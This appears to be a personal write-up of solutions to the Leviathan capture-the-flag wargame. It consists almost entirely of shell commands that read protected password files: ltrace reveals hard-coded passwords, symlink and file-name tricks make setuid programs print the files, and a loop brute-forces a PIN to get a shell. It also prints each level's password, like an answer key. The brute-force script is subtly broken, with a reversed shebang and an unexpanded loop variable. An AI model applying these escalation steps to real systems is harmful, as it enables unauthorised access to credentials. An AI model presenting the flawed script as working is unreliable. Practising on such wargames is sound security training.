aklap/leviathan_solutions.md

## leviathan_solutions.md

      
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              leviathan_solutions.md
            
          
    Level 1

ls -la    
cd ./backup    
cat ./bookmarks-html | grep password    

pw: rioGegei8m
Level 2

file ./check    
./check    
jdfksl    
ltrace ./check    
sex    
cat /etc/leviathan_pass/leviathan2    

pw: ougahZi8Ta
Level 3

ls    
./printfile filename
ln -s /etc/leviathan_pass/leviathan3 /tmp/dir_name/link
touch /tmp/dir_name/link\ pass
./printfile /tmp/crikey/link\ pass

pw: Ahdiemoo1j
Level 4

ls 
./level3
jkl
ltrace ./level3
jkl
kakaka
ltrace ./level3
snlprintf
cat /etc/leviathan_pass/leviathan4

pw: vuH0coox6m
Level 5

ls
cd trash/
ls
file bin
cat bin

(convert to text from binary; I was lazy and used online converter)
pw: Tith4cokei
Level 6

ls 
file leviathan5
cat leviathan5
ln -s /etc/leviathan_pass/leviathan6 /tmp/file.log
./leviathan5

pw: UgaoFee4li
Level 7

ls 
./leviathan6
touch script.sh
vi script.sh

In script.sh file: 

!#/bin/bash

for n in {0000..9999}
do
    ./leviathan6 n
done

./script.sh

(Wait for it to hit on the right pin and then drop into level 7 shell.)
cat /etc/leviathan_pass/leviathan7

pw: ahy7MaeBo9